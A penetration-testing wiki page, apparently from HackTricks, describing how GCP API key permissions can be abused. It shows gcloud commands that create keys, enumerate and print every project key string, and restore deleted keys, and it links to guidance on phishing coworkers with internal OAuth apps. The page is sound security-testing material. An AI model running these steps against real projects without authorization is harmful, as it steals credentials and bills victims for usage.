# GCP - Apikeys Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Apikeys

The following permissions are useful to create and steal API keys, not this from the docs: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._

Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges.

For more information about API Keys check:

{{#ref}}
../gcp-services/gcp-api-keys-enum.md
{{#endref}}

For other ways to create API keys check:

{{#ref}}
gcp-serviceusage-privesc.md
{{#endref}}

### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>

As you might not know which APIs are enabled in the project or the restrictions applied to the API key you found, it would be interesting to run the tool [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.**

### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>

This permission allows to **create an API key**:

```bash
gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
    "@type":"type.googleapis.com/google.api.apikeys.v2.Key",
    "createTime":"2022-01-26T12:23:06.281029Z",
    "etag":"W/\"HOhA[...]==\"",
    "keyString":"AIzaSy[...]oU",
    "name":"projects/5[...]6/locations/global/keys/f707[...]e8",
    "uid":"f707[...]e8",
    "updateTime":"2022-01-26T12:23:06.378442Z"
}
```

You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).

> [!CAUTION]
> Note that by default users have permissions to create new projects adn they are granted Owner role over the new project. So a user could c**reate a project and an API key inside this project**.

### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>

These permissions allows **list and get all the apiKeys and get the Key**:

```bash
for  key  in  $(gcloud services api-keys list --uri); do
	gcloud services api-keys get-key-string "$key"
done
```

You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).

### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>

These permissions allow you to **list and regenerate deleted api keys**. The **API key is given in the output** after the **undelete** is done:

```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>
```

### Create Internal OAuth Application to phish other workers

Check the following page to learn how to do this, although this action belongs to the service **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):

{{#ref}}
../../workspace-security/gws-google-platforms-phishing/
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}



